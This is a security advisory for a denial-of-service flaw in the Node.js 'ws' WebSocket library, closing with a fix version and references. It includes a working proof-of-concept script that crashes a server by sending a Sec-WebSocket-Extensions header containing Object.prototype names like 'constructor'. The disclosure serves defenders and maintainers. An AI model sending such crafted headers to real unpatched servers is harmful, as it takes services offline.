GHSA-5v72-xg48-5rpm
Denial of Service in ws
Details
Affected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent.
## Proof of concept
``` const WebSocket = require('ws'); const net = require('net');
const wss = new WebSocket.Server({ port: 3000 }, function () { const payload = 'constructor'; // or ',;constructor'
const request = [ 'GET / HTTP/1.1', 'Connection: Upgrade', 'Sec-WebSocket-Key: test', 'Sec-WebSocket-Version: 8', `Sec-WebSocket-Extensions: ${payload}`, 'Upgrade: websocket', '\r\n' ].join('\r\n');
const socket = net.connect(3000, function () { socket.resume(); socket.write(request); }); }); ```
## Recommendation
Update to version 3.3.1 or later.
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Affected packages
References
- https://github.com/websockets/ws/commit/c4fe46608acd61fbf7397eadc47378903f95b78a [WEB]
- https://github.com/websockets/ws/commit/f8fdcd40ac8be7318a6ee41f5ceb7e77c995b407 [WEB]
- https://snyk.io/vuln/npm:ws:20171108 [WEB]
- https://www.npmjs.com/advisories/550 [WEB]
- https://www.npmjs.com/advisories/550/versions [WEB]